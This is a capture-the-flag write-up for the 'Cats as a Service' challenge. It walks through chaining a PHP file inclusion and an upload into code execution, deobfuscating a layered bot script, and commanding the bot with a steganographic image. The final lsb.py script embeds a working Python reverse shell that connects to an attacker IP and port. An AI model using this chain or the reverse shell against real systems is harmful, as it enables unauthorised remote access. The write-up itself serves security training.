Cats as a Service

Information

Category: Misc

Difficulty: Medium

Author: explo1t

Points:

- Junior: ?
- Senior: ?
- Earth: ?

First Blood:

- **Junior**: localo
- **Senior**: Matthias
- **Earth**: Qyn

Description:

>I found some absolutely stunning cat pictures on Reddit lately.

>They all were posted by the famous u/CSCG_Controller.

>However, i think this is not a real person, but rather a bot??

>I think you probably should investigate this further...

Challenge Files:

- *catsaas.zip*

Overview

This is a docker setup with two containers *commander* and *bot*.
In the ZIP file there is a "*docker-compose.yaml"* and two folders "*bots"* and "*website"*.

1. Folder: ***bots***

In the folder is a "*Dockerfile*", a "*pleb*" executable, a python script ("*looping_lui*") which executes the *pleb* file infinitely every 30 seconds and a "*requirements.txt*".

2. Folder: ***website***

There is also a "*Dockerfile*", a "*block.ini*" which blocks certain php functions and sets the open_basedir.
In the subfolder "*stuff*" are the files for the websites the most interesting are "*lfi.php*", "*upload.php*" and "*secret_password.php*".

Solution

1. Website

The goal is obvious: Create a Local File Inclusion (LFI) with "*lfi.php*" and convert it to a Remote Code Execution (RCE) through "*upload.php*". Then read the "*secret_password.php*" with the RCE.

After a lot of intensive googling I found this github repo.
I used about this search term "php lfi bypass open_basedir github".

The files are (almost) the same as those in this task. So I did some searching and found this PDF.
On page 63-67 exactly the problem is described and answered.

So I then uploaded a php file with the content:

```
<?php
echo file_get_contents('secret_password.php');
?>
```

and the filename *"data:a"* and executed it via "*lfi.php*".
This gave me the password "*my sup3r s3cre3t 4nd 4bs0lut3ly l33t p4ssw0rd*" and I was able to log in as admin.
Now I can add a reddit username with a password as a bot controller

2. Bots

The "*pleb*" executable creates a "*p.zip*" file and unpacks it and then executes the perl script "*p*" contained in the zip file.

The "*p*" perl script is eval packed/obfuscated.
You can deobfuscate the Perl script by replacing the eval with a print.
The script creates through the eval another obfuscated perl script with eval and unpack.
This then creates a *w* executable.
This w executable unpacks the whitspaces in the "*p*" script. These whitespaces result in a Python script which contains a base64 code which is a python script.

The python script "*p_level5*" gets the bot commanders from the website and execute an in the image lsb encoded command which is sxored with the password.

3. Solve

Now the goal is to create a controller in the web interface and execute commands.
On the reddit account you have to post a png picture in the subreddit "*test*" which contains the lsb encoded and sxored command.

I created a python script "*lsb.py*" which does the encoding and xoring.
My command I want to execute is a reverse shell over which I can read the flag.

I uploaded the image on the reddit account and then got the reverse shell.
First I didn't see a flag, so I restarted the challenge and uploaded the image again, got the reverse shell again and then I found the flag under *"/home/flag/.flag"*.

The reason I didn't get a flag the first time is that there are two bots, one with a flag and one without. The first time I tried, the bot without the flag connected.

Mitigation

Without the files "*lfi.php*" and "*upload.php*" it would not be possible to get a Local File Inclusion (LFI) and as a result with the "*upload.php*" a Remote Code Execution (RCE) to read the "*secret_password.php*" file and get access to create a new user. Without the new user, the bots would not execute the attacker's commands.

The obfuscation of the bots is not very helpful in terms of security.

File: *lsb.py*

```
from stegano import lsb
import base64

def sxor(encode_string, key):
    if len(encode_string) > len(key) and len(key) > 0:
        key = key*(int(len(encode_string)/len(key))+1)
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(encode_string,key))
#Reverse Shell
command_to_execute=''' export RHOST="YOUR_IP_ADDRESS";export RPORT=4242;python3
-
c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(
os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")
' &'''
#SXORs the command with the password
command_to_execute = sxor(command_to_execute,"leon_t_password_secret_secret")
#base64 encode the resulting string
command_to_execute=base64.b64encode(command_to_execute.encode()).decode()
#Add the base64 encoded command to the "cat.png" image with lsb
secret=lsb.hide("cat.png",command_to_execute)
#Save the file as "cat-command.png"
secret.save("./cat-command.png")
```